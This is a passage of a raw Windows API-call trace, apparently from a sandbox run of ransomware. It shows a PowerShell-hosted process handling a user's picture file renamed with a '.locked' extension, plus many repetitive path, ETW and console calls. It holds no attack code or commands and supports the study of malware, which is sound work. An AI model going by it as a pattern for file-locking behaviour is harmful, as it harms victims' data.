lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", lpFilePart=0x0) returned 0x5c [0135.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", lpFilePart=0x0) returned 0x5c [0135.717] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.717] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.717] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.717] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.717] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.720] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.720] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.720] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.720] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.720] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.721] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.721] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.721] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.721] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.721] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.723] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.723] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.723] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.723] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.723] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.725] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.725] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.725] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.725] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.725] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.727] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0135.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x692101c | out: lpFileInformation=0x692101c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141b2089, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x141b2089, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x141b2089, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x4ec4)) returned 1 [0135.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.730] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", lpFilePart=0x0) returned 0x5c [0135.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.734] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.734] CloseHandle (hObject=0x858) returned 1 [0135.735] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0135.735] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0135.735] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0135.740] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0135.740] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.740] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.741] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.744] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0135.744] GetConsoleOutputCP () returned 0x1b5 [0135.744] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0135.745] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0135.745] GetConsoleOutputCP () returned 0x1b5 [0135.745] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0135.745] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.745] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x694a190*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x694a190*, lpNumberOfCharsWritten=0x99ae3a4*=0x58) returned 1 [0135.746] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0135.747] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0135.750] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0135.750] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0135.750] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0135.753] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0135.754] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0135.754] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0135.757] GetConsoleOutputCP () returned 0x1b5 [0135.757] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.757] GetConsoleOutputCP () returned 0x1b5 [0135.758] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.758] GetConsoleOutputCP () returned 0x1b5 [0135.758] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.758] GetConsoleOutputCP () returned 0x1b5 [0135.758] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.758] GetConsoleOutputCP () returned 0x1b5 [0135.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.759] GetConsoleOutputCP () returned 0x1b5 [0135.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.759] GetConsoleOutputCP () returned 0x1b5 [0135.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.759] GetConsoleOutputCP () returned 0x1b5 [0135.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.760] GetConsoleOutputCP () returned 0x1b5 [0135.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.760] GetConsoleOutputCP () returned 0x1b5 [0135.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.760] GetConsoleOutputCP () returned 0x1b5 [0135.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.760] GetConsoleOutputCP () returned 0x1b5 [0135.761] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.761] GetConsoleOutputCP () returned 0x1b5 [0135.761] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0135.761] GetConsoleOutputCP () returned 0x1b5 [0135.762] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0135.762] GetConsoleOutputCP () returned 0x1b5 [0135.762] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.762] GetConsoleOutputCP () returned 0x1b5 [0135.762] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0135.762] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.763] GetConsoleOutputCP () returned 0x1b5 [0135.763] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.763] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.763] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x694b0bc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x694b0bc*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.764] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.764] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.768] GetConsoleOutputCP () returned 0x1b5 [0135.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.768] GetConsoleOutputCP () returned 0x1b5 [0135.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.768] GetConsoleOutputCP () returned 0x1b5 [0135.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.769] GetConsoleOutputCP () returned 0x1b5 [0135.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0135.769] GetConsoleOutputCP () returned 0x1b5 [0135.769] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.769] GetConsoleOutputCP () returned 0x1b5 [0135.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.770] GetConsoleOutputCP () returned 0x1b5 [0135.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.770] GetConsoleOutputCP () returned 0x1b5 [0135.770] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.770] GetConsoleOutputCP () returned 0x1b5 [0135.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.771] GetConsoleOutputCP () returned 0x1b5 [0135.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.771] GetConsoleOutputCP () returned 0x1b5 [0135.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.771] GetConsoleOutputCP () returned 0x1b5 [0135.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0135.772] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0135.772] GetConsoleOutputCP () returned 0x1b5 [0135.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0135.772] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.773] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x694bb14*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x694bb14*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0135.773] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0135.773] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0135.779] GetConsoleOutputCP () returned 0x1b5 [0135.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.780] GetConsoleOutputCP () returned 0x1b5 [0135.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, 